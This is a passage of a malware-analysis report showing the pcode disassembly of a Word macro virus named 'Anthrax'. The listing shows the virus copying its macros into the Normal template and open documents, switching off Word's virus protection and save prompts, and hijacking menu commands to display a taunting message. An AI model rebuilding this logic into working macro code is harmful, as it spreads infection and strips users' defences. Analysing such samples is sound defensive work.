' 	Eq 
' 	Or 
' 	IfBlock 
' Line #148:
' 	Ld wdFormatTemplate 
' 	ParamNamed FileFormat 
' 	Ld ActiveDocument 
' 	ArgsMemCall SaveAs 0x0001 
' Line #149:
' 	EndIfBlock 
' Line #150:
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed Destination 
' 	LitStr 0x0007 "Anthrax"
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #151:
' 	Ld ActiveDocument 
' 	ArgsMemCall Save 0x0000 
' Line #152:
' 	Label ErrorFSA 
' Line #153:
' 	EndSub 
' Line #154:
' 	FuncDefn (Sub FileTemplates())
' Line #155:
' 	Ld wdCancelDisabled 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #156:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemCall DisableAutoMacros 0x0001 
' Line #157:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #158:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #159:
' 	OnError ErrorFT 
' Line #160:
' 	LitStr 0x0036 "Le virus ANTHRAX ne peut pas vous autoriser l'accès!!!"
' 	LitDI2 0x000D 
' 	ArgsLd Chr$ 0x0001 
' 	Concat 
' 	LitStr 0x000E "HAHAHAHAHA!!!!"
' 	Concat 
' 	Ld vbCritical 
' 	LitStr 0x000D "Virus Anthrax"
' 	ArgsCall MsgBox 0x0003 
' Line #161:
' 	Label ErrorFT 
' Line #162:
' 	EndSub 
' Line #163:
' 	FuncDefn (Sub ToolsMacro())
' Line #164:
' 	Ld wdCancelDisabled 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #165:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemCall DisableAutoMacros 0x0001 
' Line #166:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #167:
' 	LitVarSpecial (False)
' 	Ld Options 
…

Open this report in the interactive analyzer, or submit your own file for analysis.